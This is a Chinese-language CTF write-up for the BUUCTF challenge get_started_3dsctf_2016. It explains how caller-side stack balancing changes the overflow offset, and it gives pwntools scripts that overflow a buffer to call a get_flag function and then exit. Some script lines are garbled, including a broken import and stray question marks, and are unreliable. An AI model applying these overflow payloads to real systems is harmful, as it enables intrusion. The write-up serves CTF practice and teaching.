buu get_started_3dsctf_2016 关于内平栈和外平栈
本篇博客涉及到的知识点:内平栈与外平栈
╭─root@f2b0c1f3fc1f /ctf/work
╰─➤ checksec get_started_3dsctf_2016
[*] '/ctf/work/get_started_3dsctf_2016'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
main中get函数存在栈溢出:

找到后门函数get_shell:a1和a2是栈上的参数,所以我们在栈溢出时提前设置好就能绕过,成功读取flag

接下来试试按常理的脚本:
from pwn import
io = remote("node5.buuoj.cn",29506)
offset = 0x38
payload = b'a'*(offset+4) ?????????????
payload += p32(0x080489A0) # get_flag_addr:0x080489A0
payload += p32(0x308CD64F) + p32(0x195719D1) # 设置好a1和a2的值
io.sendline(payload)
io.interactive()
但是很遗憾,打不通远程
思考一下哪里出问题了呢
其实仔细的师傅应该发现,这道题平衡栈的汇编代码与之前遇到的有点不一样:
我们常遇到的栈平衡方式是内平栈(顾名思义就是在被调用函数内部平衡栈):
下图是在getshell函数内部进行栈平衡

但是这道题是外平栈:是在调用完子函数后,回到主函数中平衡栈(并且这道题是esp寻址方式)

在遇到外平栈时我们就不用再offset后加4了,内平栈才需要
所以修改脚本后是这样的:
from pwn import *
io = remote("node5.buuoj.cn",29506)
offset = 0x38
payload = b'a'*(offset) ?????????????
payload += p32(0x080489A0) # get_flag_addr:0x080489A0
payload += p32(0x308CD64F) + p32(0x195719D1) # 设置好a1和a2的值
io.sendline(payload)
io.interactive()
尝试打一下远程,还是失败
所以这里还涉及到最后一个知识点:用fopen打开文件时,程序必须要正常退出才会有回显
所以我们要让程序调用完get_flag后正常退出,使用exit函数(因为程序是静态编译的所以能很方便找到exit地址)
那么最终的脚本如下:
from pwn import *
io = remote("node5.buuoj.cn",29506)
payload = b'a'*56
# get_flag_addr:0x080489A0,exit_addr:0x0804E6A0
payload += p32(0x080489A0) + p32(0x0804E6A0)
payload += p32(0x308CD64F) + p32(0x195719D1)
io.sendline(payload)
io.interactive()

浙公网安备 33010602011771号